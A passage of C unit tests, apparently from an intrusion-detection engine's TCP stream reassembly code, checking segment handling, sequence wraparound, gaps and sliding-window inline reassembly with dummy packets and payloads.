STREAMTCP_SET_RA_BASE_SEQ(&ssn.client, 9);
ssn.client.isn = 9;
ssn.client.last_ack = 60;
ssn.client.next_seq = ssn.client.isn;
f = UTHBuildFlow(AF_INET, "1.2.3.4", "1.2.3.5", 200, 220);
if (f == NULL)
goto end;
f->protoctx = &ssn;
f->proto = IPPROTO_TCP;
p->flow = f;
tcph.th_win = htons(5480);
tcph.th_seq = htonl(10);
tcph.th_ack = htonl(20);
tcph.th_flags = TH_ACK|TH_PUSH;
p->tcph = &tcph;
p->flowflags = FLOW_PKT_TOCLIENT;
p->payload = httpbuf1;
p->payload_len = httplen1;
ssn.state = TCP_ESTABLISHED;
stream_config.reassembly_depth = 0;
TcpStream *s = NULL;
s = &ssn.server;
SCMutexLock(&f->m);
if (StreamTcpReassembleHandleSegment(&tv, ra_ctx, &ssn, s, p, &pq) == -1) {
printf("failed in segments reassembly, while processing toclient packet\n");
goto end;
}
/* Check if we have flags set or not */
if ((ssn.client.flags & STREAMTCP_STREAM_FLAG_NOREASSEMBLY) ||
(ssn.server.flags & STREAMTCP_STREAM_FLAG_NOREASSEMBLY)) {
printf("there shouldn't be any no reassembly flag be set \n");
goto end;
}
STREAMTCP_SET_RA_BASE_SEQ(&ssn.server, ssn.server.isn + httplen1);
p->flowflags = FLOW_PKT_TOSERVER;
p->payload_len = httplen1;
s = &ssn.client;
if (StreamTcpReassembleHandleSegment(&tv, ra_ctx, &ssn, s, p, &pq) == -1) {
printf("failed in segments reassembly, while processing toserver packet\n");
goto end;
}
/* Check if we have flags set or not */
if ((ssn.client.flags & STREAMTCP_STREAM_FLAG_NOREASSEMBLY) ||
(ssn.server.flags & STREAMTCP_STREAM_FLAG_NOREASSEMBLY)) {
printf("there shouldn't be any no reassembly flag be set \n");
goto end;
}
STREAMTCP_SET_RA_BASE_SEQ(&ssn.client, ssn.client.isn + httplen1);
p->flowflags = FLOW_PKT_TOCLIENT;
p->payload_len = httplen1;
tcph.th_seq = htonl(10 + httplen1);
tcph.th_ack = htonl(20 + httplen1);
s = &ssn.server;
if (StreamTcpReassembleHandleSegment(&tv, ra_ctx, &ssn, s, p, &pq) == -1) {
printf("failed in segments reassembly, while processing toserver packet\n");
goto end;
}
/* Check if we have flags set or not */
if ((ssn.client.flags & STREAMTCP_STREAM_FLAG_NOREASSEMBLY) ||
(ssn.server.flags & STREAMTCP_STREAM_FLAG_NOREASSEMBLY)) {
printf("the no_reassembly flags should not be set, "
"p->payload_len %"PRIu16" stream_config.reassembly_"
"depth %"PRIu32": ", p->payload_len,
stream_config.reassembly_depth);
goto end;
}
ret = 1;
end:
StreamTcpReassembleFreeThreadCtx(ra_ctx);
StreamTcpFreeConfig(TRUE);
SCFree(p);
SCMutexUnlock(&f->m);
UTHFreeFlow(f);
return ret;
}
/**
* \test Test to make sure we detect the sequence wrap around and continue
* stream reassembly properly.
*
* \retval On success it returns 1 and on failure 0.
*/
static int StreamTcpReassembleTest47 (void)
{
int ret = 0;
Packet *p = PacketGetFromAlloc();
if (unlikely(p == NULL))
return 0;
Flow *f = NULL;
TCPHdr tcph;
TcpSession ssn;
ThreadVars tv;
PacketQueue pq;
memset(&pq,0,sizeof(PacketQueue));
memset(&tcph, 0, sizeof (TCPHdr));
memset(&ssn, 0, sizeof(TcpSession));
memset(&tv, 0, sizeof (ThreadVars));
/* prevent L7 from kicking in */
StreamMsgQueueSetMinChunkLen(FLOW_PKT_TOSERVER, 0);
StreamMsgQueueSetMinChunkLen(FLOW_PKT_TOCLIENT, 0);
StreamTcpInitConfig(TRUE);
TcpReassemblyThreadCtx *ra_ctx = StreamTcpReassembleInitThreadCtx(NULL);
uint8_t httpbuf1[] = "GET /EVILSUFF HTTP/1.1\r\n\r\n";
uint32_t httplen1 = sizeof(httpbuf1) - 1; /* minus the \0 */
ssn.server.ra_raw_base_seq = ssn.server.ra_app_base_seq = 572799781UL;
ssn.server.isn = 572799781UL;
ssn.server.last_ack = 572799782UL;
ssn.client.ra_raw_base_seq = ssn.client.ra_app_base_seq = 4294967289UL;
ssn.client.isn = 4294967289UL;
ssn.client.last_ack = 21;
f = UTHBuildFlow(AF_INET, "1.2.3.4", "1.2.3.5", 200, 220);
if (f == NULL)
goto end;
f->protoctx = &ssn;
f->proto = IPPROTO_TCP;
p->flow = f;
tcph.th_win = htons(5480);
ssn.state = TCP_ESTABLISHED;
TcpStream *s = NULL;
uint8_t cnt = 0;
SCMutexLock(&f->m);
for (cnt=0; cnt < httplen1; cnt++) {
tcph.th_seq = htonl(ssn.client.isn + 1 + cnt);
tcph.th_ack = htonl(572799782UL);
tcph.th_flags = TH_ACK|TH_PUSH;
p->tcph = &tcph;
p->flowflags = FLOW_PKT_TOSERVER;
p->payload = &httpbuf1[cnt];
p->payload_len = 1;
s = &ssn.client;
if (StreamTcpReassembleHandleSegment(&tv, ra_ctx, &ssn, s, p, &pq) == -1) {
printf("failed in segments reassembly, while processing toserver "
"packet\n");
goto end;
}
p->flowflags = FLOW_PKT_TOCLIENT;
p->payload = NULL;
p->payload_len = 0;
tcph.th_seq = htonl(572799782UL);
tcph.th_ack = htonl(ssn.client.isn + 1 + cnt);
tcph.th_flags = TH_ACK;
p->tcph = &tcph;
s = &ssn.server;
if (StreamTcpReassembleHandleSegment(&tv, ra_ctx, &ssn, s, p, &pq) == -1) {
printf("failed in segments reassembly, while processing toserver "
"packet\n");
goto end;
}
}
if (f->alproto != ALPROTO_HTTP) {
printf("App layer protocol (HTTP) should have been detected\n");
goto end;
}
ret = 1;
end:
StreamTcpReassembleFreeThreadCtx(ra_ctx);
StreamTcpFreeConfig(TRUE);
SCFree(p);
SCMutexUnlock(&f->m);
UTHFreeFlow(f);
return ret;
}
/** \test 3 in order segments in inline reassembly */
static int StreamTcpReassembleInlineTest01(void)
{
int ret = 0;
TcpReassemblyThreadCtx *ra_ctx = NULL;
ThreadVars tv;
TcpSession ssn;
Flow f;
memset(&tv, 0x00, sizeof(tv));
StreamTcpUTInit(&ra_ctx);
StreamTcpUTInitInline();
StreamTcpUTSetupSession(&ssn);
StreamTcpUTSetupStream(&ssn.client, 1);
FLOW_INITIALIZE(&f);
uint8_t stream_payload[] = "AAAAABBBBBCCCCC";
uint8_t payload[] = { 'C', 'C', 'C', 'C', 'C' };
Packet *p = UTHBuildPacketReal(payload, 5, IPPROTO_TCP, "1.1.1.1", "2.2.2.2", 1024, 80);
if (p == NULL) {
printf("couldn't get a packet: ");
goto end;
}
p->tcph->th_seq = htonl(12);
p->flow = &f;
SCMutexLock(&f.m);
if (StreamTcpUTAddSegmentWithByte(&tv, ra_ctx, &ssn.client, 2, 'A', 5) == -1) {
printf("failed to add segment 1: ");
goto end;
}
if (StreamTcpUTAddSegmentWithByte(&tv, ra_ctx, &ssn.client, 7, 'B', 5) == -1) {
printf("failed to add segment 2: ");
goto end;
}
if (StreamTcpUTAddSegmentWithByte(&tv, ra_ctx, &ssn.client, 12, 'C', 5) == -1) {
printf("failed to add segment 3: ");
goto end;
}
ssn.client.next_seq = 17;
int r = StreamTcpReassembleInlineRaw(ra_ctx, &ssn, &ssn.client, p);
if (r < 0) {
printf("StreamTcpReassembleInlineRaw failed: ");
goto end;
}
if (UtSsnSmsgCnt(&ssn, STREAM_TOSERVER) != 1) {
printf("expected a single stream message: ");
goto end;
}
StreamMsg *smsg = ssn.toserver_smsg_head;
if (smsg->data_len != 15) {
printf("expected data length to be 15, got %u: ", smsg->data_len);
goto end;
}
if (!(memcmp(stream_payload, smsg->data, 15) == 0)) {
printf("data is not what we expected:\nExpected:\n");
PrintRawDataFp(stdout, stream_payload, 15);
printf("Got:\n");
PrintRawDataFp(stdout, smsg->data, smsg->data_len);
goto end;
}
ret = 1;
end:
SCMutexUnlock(&f.m);
FLOW_DESTROY(&f);
UTHFreePacket(p);
StreamTcpUTClearSession(&ssn);
StreamTcpUTDeinit(ra_ctx);
return ret;
}
/** \test 3 in order segments, then reassemble, add one more and reassemble again.
* test the sliding window reassembly.
*/
static int StreamTcpReassembleInlineTest02(void)
{
int ret = 0;
TcpReassemblyThreadCtx *ra_ctx = NULL;
ThreadVars tv;
TcpSession ssn;
Flow f;
memset(&tv, 0x00, sizeof(tv));
StreamTcpUTInit(&ra_ctx);
StreamTcpUTInitInline();
StreamTcpUTSetupSession(&ssn);
StreamTcpUTSetupStream(&ssn.client, 1);
FLOW_INITIALIZE(&f);
uint8_t stream_payload1[] = "AAAAABBBBBCCCCC";
uint8_t stream_payload2[] = "AAAAABBBBBCCCCCDDDDD";
uint8_t payload[] = { 'C', 'C', 'C', 'C', 'C' };
Packet *p = UTHBuildPacketReal(payload, 5, IPPROTO_TCP, "1.1.1.1", "2.2.2.2", 1024, 80);
if (p == NULL) {
printf("couldn't get a packet: ");
goto end;
}
p->tcph->th_seq = htonl(12);
p->flow = &f;
SCMutexLock(&f.m);
if (StreamTcpUTAddSegmentWithByte(&tv, ra_ctx, &ssn.client, 2, 'A', 5) == -1) {
printf("failed to add segment 1: ");
goto end;
}
if (StreamTcpUTAddSegmentWithByte(&tv, ra_ctx, &ssn.client, 7, 'B', 5) == -1) {
printf("failed to add segment 2: ");
goto end;
}
if (StreamTcpUTAddSegmentWithByte(&tv, ra_ctx, &ssn.client, 12, 'C', 5) == -1) {
printf("failed to add segment 3: ");
goto end;
}
ssn.client.next_seq = 17;
int r = StreamTcpReassembleInlineRaw(ra_ctx, &ssn, &ssn.client, p);
if (r < 0) {
printf("StreamTcpReassembleInlineRaw failed: ");
goto end;
}
if (UtSsnSmsgCnt(&ssn, STREAM_TOSERVER) != 1) {
printf("expected a single stream message: ");
goto end;
}
StreamMsg *smsg = ssn.toserver_smsg_head;
if (smsg->data_len != 15) {
printf("expected data length to be 15, got %u: ", smsg->data_len);
goto end;
}
if (!(memcmp(stream_payload1, smsg->data, 15) == 0)) {
printf("data is not what we expected:\nExpected:\n");
PrintRawDataFp(stdout, stream_payload1, 15);
printf("Got:\n");
PrintRawDataFp(stdout, smsg->data, smsg->data_len);
goto end;
}
if (StreamTcpUTAddSegmentWithByte(&tv, ra_ctx, &ssn.client, 17, 'D', 5) == -1) {
printf("failed to add segment 4: ");
goto end;
}
ssn.client.next_seq = 22;
r = StreamTcpReassembleInlineRaw(ra_ctx, &ssn, &ssn.client, p);
if (r < 0) {
printf("StreamTcpReassembleInlineRaw failed 2: ");
goto end;
}
if (UtSsnSmsgCnt(&ssn, STREAM_TOSERVER) != 2) {
printf("expected a single stream message: ");
goto end;
}
smsg = ssn.toserver_smsg_head->next;
if (smsg->data_len != 20) {
printf("expected data length to be 20, got %u: ", smsg->data_len);
goto end;
}
if (!(memcmp(stream_payload2, smsg->data, 20) == 0)) {
printf("data is not what we expected:\nExpected:\n");
PrintRawDataFp(stdout, stream_payload2, 20);
printf("Got:\n");
PrintRawDataFp(stdout, smsg->data, smsg->data_len);
goto end;
}
ret = 1;
end:
SCMutexUnlock(&f.m);
FLOW_DESTROY(&f);
UTHFreePacket(p);
StreamTcpUTClearSession(&ssn);
StreamTcpUTDeinit(ra_ctx);
return ret;
}
/** \test 3 in order segments, then reassemble, add one more and reassemble again.
* test the sliding window reassembly with a small window size so that we
* cutting off at the start (left edge)
*/
static int StreamTcpReassembleInlineTest03(void)
{
int ret = 0;
TcpReassemblyThreadCtx *ra_ctx = NULL;
ThreadVars tv;
TcpSession ssn;
Flow f;
memset(&tv, 0x00, sizeof(tv));
StreamTcpUTInit(&ra_ctx);
StreamTcpUTInitInline();
StreamTcpUTSetupSession(&ssn);
StreamTcpUTSetupStream(&ssn.client, 1);
FLOW_INITIALIZE(&f);
stream_config.reassembly_toserver_chunk_size = 15;
uint8_t stream_payload1[] = "AAAAABBBBBCCCCC";
uint8_t stream_payload2[] = "BBBBBCCCCCDDDDD";
uint8_t payload[] = { 'C', 'C', 'C', 'C', 'C' };
Packet *p = UTHBuildPacketReal(payload, 5, IPPROTO_TCP, "1.1.1.1", "2.2.2.2", 1024, 80);
if (p == NULL) {
printf("couldn't get a packet: ");
goto end;
}
p->tcph->th_seq = htonl(12);
p->flow = &f;
p->flowflags |= FLOW_PKT_TOSERVER;
SCMutexLock(&f.m);
if (StreamTcpUTAddSegmentWithByte(&tv, ra_ctx, &ssn.client, 2, 'A', 5) == -1) {
printf("failed to add segment 1: ");
goto end;
}
if (StreamTcpUTAddSegmentWithByte(&tv, ra_ctx, &ssn.client, 7, 'B', 5) == -1) {
printf("failed to add segment 2: ");
goto end;
}
if (StreamTcpUTAddSegmentWithByte(&tv, ra_ctx, &ssn.client, 12, 'C', 5) == -1) {
printf("failed to add segment 3: ");
goto end;
}
ssn.client.next_seq = 17;
int r = StreamTcpReassembleInlineRaw(ra_ctx, &ssn, &ssn.client, p);
if (r < 0) {
printf("StreamTcpReassembleInlineRaw failed: ");
goto end;
}
if (UtSsnSmsgCnt(&ssn, STREAM_TOSERVER) != 1) {
printf("expected a single stream message 1: ");
goto end;
}
StreamMsg *smsg = ssn.toserver_smsg_head;
if (smsg->data_len != 15) {
printf("expected data length to be 15, got %u: ", smsg->data_len);
goto end;
}
if (!(memcmp(stream_payload1, smsg->data, 15) == 0)) {
printf("data is not what we expected:\nExpected:\n");
PrintRawDataFp(stdout, stream_payload1, 15);
printf("Got:\n");
PrintRawDataFp(stdout, smsg->data, smsg->data_len);
goto end;
}
if (StreamTcpUTAddSegmentWithByte(&tv, ra_ctx, &ssn.client, 17, 'D', 5) == -1) {
printf("failed to add segment 4: ");
goto end;
}
ssn.client.next_seq = 22;
p->tcph->th_seq = htonl(17);
r = StreamTcpReassembleInlineRaw(ra_ctx, &ssn, &ssn.client, p);
if (r < 0) {
printf("StreamTcpReassembleInlineRaw failed 2: ");
goto end;
}
if (UtSsnSmsgCnt(&ssn, STREAM_TOSERVER) != 2) {
printf("expected two stream messages: ");
goto end;
}
smsg = ssn.toserver_smsg_head->next;
if (smsg->data_len != 15) {
printf("expected data length to be 15, got %u: ", smsg->data_len);
goto end;
}
if (!(memcmp(stream_payload2, smsg->data, 15) == 0)) {
printf("data is not what we expected:\nExpected:\n");
PrintRawDataFp(stdout, stream_payload2, 15);
printf("Got:\n");
PrintRawDataFp(stdout, smsg->data, smsg->data_len);
goto end;
}
ret = 1;
end:
SCMutexUnlock(&f.m);
FLOW_DESTROY(&f);
UTHFreePacket(p);
StreamTcpUTClearSession(&ssn);
StreamTcpUTDeinit(ra_ctx);
return ret;
}
/** \test 3 in order segments, then reassemble, add one more and reassemble again.
* test the sliding window reassembly with a small window size so that we
* cutting off at the start (left edge) with small packet overlap.
*/
static int StreamTcpReassembleInlineTest04(void)
{
int ret = 0;
TcpReassemblyThreadCtx *ra_ctx = NULL;
ThreadVars tv;
TcpSession ssn;
Flow f;
memset(&tv, 0x00, sizeof(tv));
StreamTcpUTInit(&ra_ctx);
StreamTcpUTInitInline();
StreamTcpUTSetupSession(&ssn);
StreamTcpUTSetupStream(&ssn.client, 1);
FLOW_INITIALIZE(&f);
stream_config.reassembly_toserver_chunk_size = 16;
uint8_t stream_payload1[] = "AAAAABBBBBCCCCC";
uint8_t stream_payload2[] = "ABBBBBCCCCCDDDDD";
uint8_t payload[] = { 'C', 'C', 'C', 'C', 'C' };
Packet *p = UTHBuildPacketReal(payload, 5, IPPROTO_TCP, "1.1.1.1", "2.2.2.2", 1024, 80);
if (p == NULL) {
printf("couldn't get a packet: ");
goto end;
}
p->tcph->th_seq = htonl(12);
p->flow = &f;
p->flowflags |= FLOW_PKT_TOSERVER;
SCMutexLock(&f.m);
if (StreamTcpUTAddSegmentWithByte(&tv, ra_ctx, &ssn.client, 2, 'A', 5) == -1) {
printf("failed to add segment 1: ");
goto end;
}
if (StreamTcpUTAddSegmentWithByte(&tv, ra_ctx, &ssn.client, 7, 'B', 5) == -1) {
printf("failed to add segment 2: ");
goto end;
}
if (StreamTcpUTAddSegmentWithByte(&tv, ra_ctx, &ssn.client, 12, 'C', 5) == -1) {
printf("failed to add segment 3: ");
goto end;
}
ssn.client.next_seq = 17;
int r = StreamTcpReassembleInlineRaw(ra_ctx, &ssn, &ssn.client, p);
if (r < 0) {
printf("StreamTcpReassembleInlineRaw failed: ");
goto end;
}
if (UtSsnSmsgCnt(&ssn, STREAM_TOSERVER) != 1) {
printf("expected a single stream message: ");
goto end;
}
StreamMsg *smsg = ssn.toserver_smsg_head;
if (smsg->data_len != 15) {
printf("expected data length to be 15, got %u: ", smsg->data_len);
goto end;
}
if (!(memcmp(stream_payload1, smsg->data, 15) == 0)) {
printf("data is not what we expected:\nExpected:\n");
PrintRawDataFp(stdout, stream_payload1, 15);
printf("Got:\n");
PrintRawDataFp(stdout, smsg->data, smsg->data_len);
goto end;
}
if (StreamTcpUTAddSegmentWithByte(&tv, ra_ctx, &ssn.client, 17, 'D', 5) == -1) {
printf("failed to add segment 4: ");
goto end;
}
ssn.client.next_seq = 22;
p->tcph->th_seq = htonl(17);
r = StreamTcpReassembleInlineRaw(ra_ctx, &ssn, &ssn.client, p);
if (r < 0) {
printf("StreamTcpReassembleInlineRaw failed 2: ");
goto end;
}
if (UtSsnSmsgCnt(&ssn, STREAM_TOSERVER) != 2) {
printf("expected a single stream message: ");
goto end;
}
smsg = ssn.toserver_smsg_head->next;
if (smsg->data_len != 16) {
printf("expected data length to be 16, got %u: ", smsg->data_len);
goto end;
}
if (!(memcmp(stream_payload2, smsg->data, 16) == 0)) {
printf("data is not what we expected:\nExpected:\n");
PrintRawDataFp(stdout, stream_payload2, 16);
printf("Got:\n");
PrintRawDataFp(stdout, smsg->data, smsg->data_len);
goto end;
}
ret = 1;
end:
SCMutexUnlock(&f.m);
FLOW_DESTROY(&f);
UTHFreePacket(p);
StreamTcpUTClearSession(&ssn);
StreamTcpUTDeinit(ra_ctx);
return ret;
}
/** \test with a GAP we should have 2 smsgs */
static int StreamTcpReassembleInlineTest05(void)
{
int ret = 0;
TcpReassemblyThreadCtx *ra_ctx = NULL;
ThreadVars tv;
TcpSession ssn;
Flow f;
memset(&tv, 0x00, sizeof(tv));
StreamTcpUTInit(&ra_ctx);
StreamTcpUTInitInline();
StreamTcpUTSetupSession(&ssn);
StreamTcpUTSetupStream(&ssn.client, 1);
FLOW_INITIALIZE(&f);
uint8_t stream_payload1[] = "AAAAABBBBB";
uint8_t stream_payload2[] = "DDDDD";
uint8_t payload[] = { 'C', 'C', 'C', 'C', 'C' };
Packet *p = UTHBuildPacketReal(payload, 5, IPPROTO_TCP, "1.1.1.1", "2.2.2.2", 1024, 80);
if (p == NULL) {
printf("couldn't get a packet: ");
goto end;
}
p->tcph->th_seq = htonl(12);
p->flow = &f;
SCMutexLock(&f.m);
if (StreamTcpUTAddSegmentWithByte(&tv, ra_ctx, &ssn.client, 2, 'A', 5) == -1) {
printf("failed to add segment 1: ");
goto end;
}
if (StreamTcpUTAddSegmentWithByte(&tv, ra_ctx, &ssn.client, 7, 'B', 5) == -1) {
printf("failed to add segment 2: ");
goto end;
}
ssn.client.next_seq = 12;
if (StreamTcpUTAddSegmentWithByte(&tv, ra_ctx, &ssn.client, 17, 'D', 5) == -1) {
printf("failed to add segment 4: ");
goto end;
}
p->tcph->th_seq = htonl(17);
int r = StreamTcpReassembleInlineRaw(ra_ctx, &ssn, &ssn.client, p);
if (r < 0) {
printf("StreamTcpReassembleInlineRaw failed: ");
goto end;
}
if (UtSsnSmsgCnt(&ssn, STREAM_TOSERVER) != 2) {
printf("expected a single stream message: ");
goto end;
}
StreamMsg *smsg = ssn.toserver_smsg_head;
if (smsg->data_len != 10) {
printf("expected data length to be 10, got %u: ", smsg->data_len);
goto end;
}
if (!(memcmp(stream_payload1, smsg->data, 10) == 0)) {
printf("data is not what we expected:\nExpected:\n");
PrintRawDataFp(stdout, stream_payload2, 10);
printf("Got:\n");
PrintRawDataFp(stdout, smsg->data, smsg->data_len);
goto end;
}
smsg = ssn.toserver_smsg_head->next;
if (smsg->data_len != 5) {
printf("expected data length to be 5, got %u: ", smsg->data_len);
goto end;
}
if (!(memcmp(stream_payload2, smsg->data, 5) == 0)) {
printf("data is not what we expected:\nExpected:\n");
PrintRawDataFp(stdout, stream_payload2, 5);
printf("Got:\n");
PrintRawDataFp(stdout, smsg->data, smsg->data_len);
goto end;
}
ret = 1;
end:
SCMutexUnlock(&f.m);
FLOW_DESTROY(&f);
UTHFreePacket(p);
StreamTcpUTClearSession(&ssn);
StreamTcpUTDeinit(ra_ctx);
return ret;
}
/** \test with a GAP we should have 2 smsgs, with filling the GAP later */
static int StreamTcpReassembleInlineTest06(void)
{
int ret = 0;
TcpReassemblyThreadCtx *ra_ctx = NULL;
ThreadVars tv;
TcpSession ssn;
Flow f;
memset(&tv, 0x00, sizeof(tv));
StreamTcpUTInit(&ra_ctx);
StreamTcpUTInitInline();
StreamTcpUTSetupSession(&ssn);
StreamTcpUTSetupStream(&ssn.client, 1);
FLOW_INITIALIZE(&f);
uint8_t stream_payload1[] = "AAAAABBBBB";
uint8_t stream_payload2[] = "DDDDD";
uint8_t stream_payload3[] = "AAAAABBBBBCCCCCDDDDD";
uint8_t payload[] = { 'C', 'C', 'C', 'C', 'C' };
Packet *p = UTHBuildPacketReal(payload, 5, IPPROTO_TCP, "1.1.1.1", "2.2.2.2", 1024, 80);
if (p == NULL) {
printf("couldn't get a packet: ");
goto end;
}
p->tcph->th_seq = htonl(12);
p->flow = &f;
SCMutexLock(&f.m);
if (StreamTcpUTAddSegmentWithByte(&tv, ra_ctx, &ssn.client, 2, 'A', 5) == -1) {
printf("failed to add segment 1: ");
goto end;
}
if (StreamTcpUTAddSegmentWithByte(&tv, ra_ctx, &ssn.client, 7, 'B', 5) == -1) {
printf("failed to add segment 2: ");
goto end;
}
ssn.client.next_seq = 12;
if (StreamTcpUTAddSegmentWithByte(&tv, ra_ctx, &ssn.client, 17, 'D', 5) == -1) {
printf("failed to add segment 4: ");
goto end;
}
p->tcph->th_seq = htonl(17);
int r = StreamTcpReassembleInlineRaw(ra_ctx, &ssn, &ssn.client, p);
if (r < 0) {
printf("StreamTcpReassembleInlineRaw failed: ");
goto end;
}
if (UtSsnSmsgCnt(&ssn, STREAM_TOSERVER) != 2) {
printf("expected two stream messages: ");
goto end;
}
StreamMsg *smsg = ssn.toserver_smsg_head;
if (smsg->data_len != 10) {
printf("expected data length to be 10, got %u: ", smsg->data_len);
goto end;
}
if (!(memcmp(stream_payload1, smsg->data, 10) == 0)) {
printf("data is not what we expected:\nExpected:\n");
PrintRawDataFp(stdout, stream_payload2, 10);
printf("Got:\n");
PrintRawDataFp(stdout, smsg->data, smsg->data_len);
goto end;
}
smsg = ssn.toserver_smsg_head->next;
if (smsg->data_len != 5) {
printf("expected data length to be 5, got %u: ", smsg->data_len);
goto end;
}
if (!(memcmp(stream_payload2, smsg->data, 5) == 0)) {
printf("data is not what we expected:\nExpected:\n");
PrintRawDataFp(stdout, stream_payload2, 5);
printf("Got:\n");
PrintRawDataFp(stdout, smsg->data, smsg->data_len);
goto end;
}
if (StreamTcpUTAddSegmentWithByte(&tv, ra_ctx, &ssn.client, 12, 'C', 5) == -1) {
printf("failed to add segment 3: ");
goto end;
}
ssn.client.next_seq = 22;
p->tcph->th_seq = htonl(12);
r = StreamTcpReassembleInlineRaw(ra_ctx, &ssn, &ssn.client, p);
if (r < 0) {
printf("StreamTcpReassembleInlineRaw failed: ");
goto end;
}
if (UtSsnSmsgCnt(&ssn, STREAM_TOSERVER) != 3) {
printf("expected a single stream message, got %u: ", UtSsnSmsgCnt(&ssn, STREAM_TOSERVER));
goto end;
}
smsg = ssn.toserver_smsg_head->next->next;
if (smsg->data_len != 20) {
printf("expected data length to be 20, got %u: ", smsg->data_len);
goto end;
}
if (!(memcmp(stream_payload3, smsg->data, 20) == 0)) {
printf("data is not what we expected:\nExpected:\n");
PrintRawDataFp(stdout, stream_payload3, 20);
printf("Got:\n");
PrintRawDataFp(stdout, smsg->data, smsg->data_len);
goto end;
}
ret = 1;
end:
SCMutexUnlock(&f.m);
FLOW_DESTROY(&f);
UTHFreePacket(p);
StreamTcpUTClearSession(&ssn);
StreamTcpUTDeinit(ra_ctx);
return ret;
}
/** \test with a GAP we should have 2 smsgs, with filling the GAP later, small
* window */
static int StreamTcpReassembleInlineTest07(void)
{
int ret = 0;
TcpReassemblyThreadCtx *ra_ctx = NULL;
ThreadVars tv;
TcpSession ssn;
Flow f;
memset(&tv, 0x00, sizeof(tv));
StreamTcpUTInit(&ra_ctx);
StreamTcpUTInitInline();
StreamTcpUTSetupSession(&ssn);
StreamTcpUTSetupStream(&ssn.client, 1);
FLOW_INITIALIZE(&f);
stream_config.reassembly_toserver_chunk_size = 16;
uint8_t stream_payload1[] = "ABBBBB";
uint8_t stream_payload2[] = "DDDDD";
uint8_t stream_payload3[] = "AAAAABBBBBCCCCCD";
uint8_t payload[] = { 'C', 'C', 'C', 'C', 'C' };
Packet *p = UTHBuildPacketReal(payload, 5, IPPROTO_TCP, "1.1.1.1", "2.2.2.2", 1024, 80);
if (p == NULL) {
printf("couldn't get a packet: ");
goto end;
}
p->tcph->th_seq = htonl(12);
p->flow = &f;
p->flowflags |= FLOW_PKT_TOSERVER;
SCMutexLock(&f.m);
if (StreamTcpUTAddSegmentWithByte(&tv, ra_ctx, &ssn.client, 2, 'A', 5) == -1) {
printf("failed to add segment 1: ");
goto end;
}
if (StreamTcpUTAddSegmentWithByte(&tv, ra_ctx, &ssn.client, 7, 'B', 5) == -1) {
printf("failed to add segment 2: ");
goto end;
}
ssn.client.next_seq = 12;
if (StreamTcpUTAddSegmentWithByte(&tv, ra_ctx, &ssn.client, 17, 'D', 5) == -1) {
printf("failed to add segment 4: ");
goto end;
}
p->tcph->th_seq = htonl(17);
int r = StreamTcpReassembleInlineRaw(ra_ctx, &ssn, &ssn.client, p);
if (r < 0) {
printf("StreamTcpReassembleInlineRaw failed: ");
goto end;
}
if (UtSsnSmsgCnt(&ssn, STREAM_TOSERVER) != 2) {
printf("expected a single stream message, got %u: ", UtSsnSmsgCnt(&ssn, STREAM_TOSERVER));
goto end;
}
StreamMsg *smsg = ssn.toserver_smsg_head;
if (smsg->data_len != 6) {
printf("expected data length to be 6, got %u: ", smsg->data_len);
goto end;
}
if (!(memcmp(stream_payload1, smsg->data, 6) == 0)) {
printf("data is not what we expected:\nExpected:\n");
PrintRawDataFp(stdout, stream_payload1, 6);
printf("Got:\n");
PrintRawDataFp(stdout, smsg->data, smsg->data_len);
goto end;
}
smsg = ssn.toserver_smsg_head->next;
if (smsg->data_len != 5) {
printf("expected data length to be 5, got %u: ", smsg->data_len);
goto end;
}
if (!(memcmp(stream_payload2, smsg->data, 5) == 0)) {
printf("data is not what we expected:\nExpected:\n");
PrintRawDataFp(stdout, stream_payload2, 5);
printf("Got:\n");
PrintRawDataFp(stdout, smsg->data, smsg->data_len);
goto end;
}
if (StreamTcpUTAddSegmentWithByte(&tv, ra_ctx, &ssn.client, 12, 'C', 5) == -1) {
printf("failed to add segment 3: ");
goto end;
}
ssn.client.next_seq = 22;
p->tcph->th_seq = htonl(12);
r = StreamTcpReassembleInlineRaw(ra_ctx, &ssn, &ssn.client, p);
if (r < 0) {
printf("StreamTcpReassembleInlineRaw failed: ");
goto end;
}
if (UtSsnSmsgCnt(&ssn, STREAM_TOSERVER) != 3) {
printf("expected a single stream message, got %u: ", UtSsnSmsgCnt(&ssn, STREAM_TOSERVER));
goto end;
}
smsg = ssn.toserver_smsg_head->next->next;
if (smsg->data_len != 16) {
printf("expected data length to be 16, got %u: ", smsg->data_len);
goto end;
}
if (!(memcmp(stream_payload3, smsg->data, 16) == 0)) {
printf("data is not what we expected:\nExpected:\n");
PrintRawDataFp(stdout, stream_payload3, 16);
printf("Got:\n");
PrintRawDataFp(stdout, smsg->data, smsg->data_len);
goto end;
}
ret = 1;
end:
SCMutexUnlock(&f.m);
FLOW_DESTROY(&f);
UTHFreePacket(p);
StreamTcpUTClearSession(&ssn);
StreamTcpUTDeinit(ra_ctx);
return ret;
}
/** \test 3 in order segments, then reassemble, add one more and reassemble again.
* test the sliding window reassembly with a small window size so that we
* cutting off at the start (left edge). Test if the first segment is
* removed from the list.
*/
static int StreamTcpReassembleInlineTest08(void)
{
int ret = 0;
TcpReassemblyThreadCtx *ra_ctx = NULL;
ThreadVars tv;
TcpSession ssn;
Flow f;
memset(&tv, 0x00, sizeof(tv));
StreamTcpUTInit(&ra_ctx);
StreamTcpUTInitInline();
StreamTcpUTSetupSession(&ssn);
StreamTcpUTSetupStream(&ssn.client, 1);
FLOW_INITIALIZE(&f);
stream_config.reassembly_toserver_chunk_size = 15;
ssn.client.flags |= STREAMTCP_STREAM_FLAG_GAP;
uint8_t stream_payload1[] = "AAAAABBBBBCCCCC";
uint8_t stream_payload2[] = "BBBBBCCCCCDDDDD";
uint8_t payload[] = { 'C', 'C', 'C', 'C', 'C' };
Packet *p = UTHBuildPacketReal(payload, 5, IPPROTO_TCP, "1.1.1.1", "2.2.2.2", 1024, 80);
if (p == NULL) {
printf("couldn't get a packet: ");
goto end;
}
p->tcph->th_seq = htonl(12);
p->flow = &f;
p->flowflags |= FLOW_PKT_TOSERVER;
SCMutexLock(&f.m);
if (StreamTcpUTAddSegmentWithByte(&tv, ra_ctx, &ssn.client, 2, 'A', 5) == -1) {
printf("failed to add segment 1: ");
goto end;
}
if (StreamTcpUTAddSegmentWithByte(&tv, ra_ctx, &ssn.client, 7, 'B', 5) == -1) {
printf("failed to add segment 2: ");
goto end;
}
if (StreamTcpUTAddSegmentWithByte(&tv, ra_ctx, &ssn.client, 12, 'C', 5) == -1) {
printf("failed to add segment 3: ");
goto end;
}
ssn.client.next_seq = 17;
int r = StreamTcpReassembleInlineRaw(ra_ctx, &ssn, &ssn.client, p);
if (r < 0) {
